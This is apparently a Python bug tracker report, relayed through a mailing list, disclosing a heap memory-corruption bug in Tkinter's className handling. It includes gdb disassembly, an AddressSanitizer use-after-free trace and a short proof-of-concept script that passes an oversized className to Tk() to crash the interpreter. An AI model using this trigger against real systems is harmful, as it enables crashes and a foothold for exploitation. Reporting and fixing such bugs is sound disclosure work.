New submission from Emin Ghuliev: /* This is used to get the application class for Tk 4.1 and up */ argv0 = (char*)attemptckalloc(strlen(className) + 1); //<=== classname allocated if (!argv0) { PyErr_NoMemory(); Py_DECREF(v); return NULL; }
strcpy(argv0, className); <==== //classname copy to argv0 if (Py_ISUPPER(Py_CHARMASK(argv0[0]))) argv0[0] = Py_TOLOWER(Py_CHARMASK(argv0[0])); Tcl_SetVar(v->interp, "argv0", argv0, TCL_GLOBAL_ONLY); // argv0 passed to v->interp and freed; ckfree(argv0); then v->interp passed to the Tcl_AppInit function if (Tcl_AppInit(v->interp) != TCL_OK) in Tcl_AppInit call to (and passed the v->interp) the Tcl_DStringAppend. allocates the specified byte Tcl_DStringAppend function then heap memory passed to memcpy. Realloc arguments presentation in the native tcl allocator; char * Tcl_Realloc(ptr, size) disassemble: gdb> print /x $rdi $4 = 0x7ffff03c8810 0x7ffff03c8814: 0x41414141 ....... gdb> print /x $rsi $2 = 0x3ffffe 0x00007ffff3a07dfe <+46>: call 0x7ffff3935040 <Tcl_Realloc> after return to the caller function. Performed memory copy operation. 0x00007ffff3a07e0a <+58>: lea rdi,[rax+rdx*1] < === destination buffer $rax = 0x7fffeffc5810 - $rdx = 0x100000 $rax+$rdx = 0x7ffff00c5810 0x00007ffff3a07e0e <+62>: mov rsi,r12 < === source buffer 0x00007ffff3a07e11 <+65>: movsxd rdx,ebp <=== 0xfffff 0x00007ffff3a07e14 <+68>: call 0x7ffff39155c0 <memcpy@plt> copy to $rdi bytes to $rsi buffer with 0xfffff byte; ASAN report. ================================================================= ==27988==ERROR: AddressSanitizer: heap-use-after-free on address 0x7f4e6ba64810 at pc 0x4665ea bp 0x7fff89a4ab80 sp 0x7fff89a4a340 READ of size 1048575 at 0x7f4e6ba64810 thread T0 ==27988==WARNING: Trying to symbolize code, but external symbolizer is not initialized! #0 0x4665e9 (/home/eminus/Downloads/Python-2.7.11/python+0x4665e9) #1 0x7f4e6f0a3e18 (/usr/lib/x86_64-linux-gnu/libtcl8.6.so+0x116e18) #2 0x7f4e6f38744e (/usr/lib/x86_64-linux-gnu/libtk8.6.so+0x6244e) #3 0x7f4e6f6b6e4c (/home/eminus/Downloads/Python-2.7.11/build/lib.linux-x86_64-2.7/_tkinter.so+0x19e4c) #4 0x7f4e6f6a7fc5 (/home/eminus/Downloads/Python-2.7.11/build/lib.linux-x86_64-2.7/_tkinter.so+0xafc5) #5 0x5e1813 (/home/eminus/Downloads/Python-2.7.11/python+0x5e1813) #6 0x5d319c (/home/eminus/Downloads/Python-2.7.11/python+0x5d319c) #7 0x721353 (/home/eminus/Downloads/Python-2.7.11/python+0x721353) #8 0x4acb2a (/home/eminus/Downloads/Python-2.7.11/python+0x4acb2a) #9 0x4b6c62 (/home/eminus/Downloads/Python-2.7.11/python+0x4b6c62) #10 0x4acb2a (/home/eminus/Downloads/Python-2.7.11/python+0x4acb2a) #11 0x5f0823 (/home/eminus/Downloads/Python-2.7.11/python+0x5f0823) #12 0x4b0a08 (/home/eminus/Downloads/Python-2.7.11/python+0x4b0a08) #13 0x4acb2a (/home/eminus/Downloads/Python-2.7.11/python+0x4acb2a) #14 0x5e2d19 (/home/eminus/Downloads/Python-2.7.11/python+0x5e2d19) #15 0x5d319c (/home/eminus/Downloads/Python-2.7.11/python+0x5d319c) #16 0x5d2041 (/home/eminus/Downloads/Python-2.7.11/python+0x5d2041) #17 0x660980 (/home/eminus/Downloads/Python-2.7.11/python+0x660980) #18 0x65fc8a (/home/eminus/Downloads/Python-2.7.11/python+0x65fc8a) #19 0x48e46c (/home/eminus/Downloads/Python-2.7.11/python+0x48e46c) #20 0x7f4e72389ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) #21 0x48c5bc (/home/eminus/Downloads/Python-2.7.11/python+0x48c5bc) 0x7f4e6ba64810 is located 16 bytes inside of 2097166-byte region [0x7f4e6ba64800,0x7f4e6bc6480e) freed by thread T0 here: #0 0x4766d3 (/home/eminus/Downloads/Python-2.7.11/python+0x4766d3) #1 0x7f4e6f09b52d (/usr/lib/x86_64-linux-gnu/libtcl8.6.so+0x10e52d) previously allocated by thread T0 here: #0 0x4764d9 (/home/eminus/Downloads/Python-2.7.11/python+0x4764d9) #1 0x7f4e6f09b0cc (/usr/lib/x86_64-linux-gnu/libtcl8.6.so+0x10e0cc) SUMMARY: AddressSanitizer: heap-use-after-free ??:0 ?? Shadow bytes around the buggy address: 0x0fea4d7448b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0fea4d7448c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0fea4d7448d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0fea4d7448e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0fea4d7448f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0fea4d744900: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0fea4d744910: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0fea4d744920: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0fea4d744930: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0fea4d744940: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0fea4d744950: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 ASan internal: fe ==27988==ABORTING PoC from Tkinter import * class Application(Frame): def say_hi(self): print ("hi there, everyone!") def createWidgets(self): self.QUIT = Button(self) self.QUIT["text"] = "QUIT" self.QUIT["fg"] = "red" self.QUIT["command"] = self.quit self.QUIT.pack({"side": "left"}) self.hi_there = Button(self) self.hi_there["text"] = "Hello", self.hi_there["command"] = self.say_hi self.hi_there.pack({"side": "left"}) def __init__(self, master=None): Frame.__init__(self, master) self.pack() self.createWidgets() root = Tk(screenName=None, baseName=None, className='A'*0xfffff, useTk=1) app = Application(master=root) app.mainloop() root.destroy() ---------- components: Tkinter messages: 267714 nosy: Emin Ghuliev priority: normal severity: normal status: open title: heap overflow in Tkinter module type: security versions: Python 2.7, Python 3.3, Python 3.4 _______________________________________ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue27254> _______________________________________ _______________________________________________ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com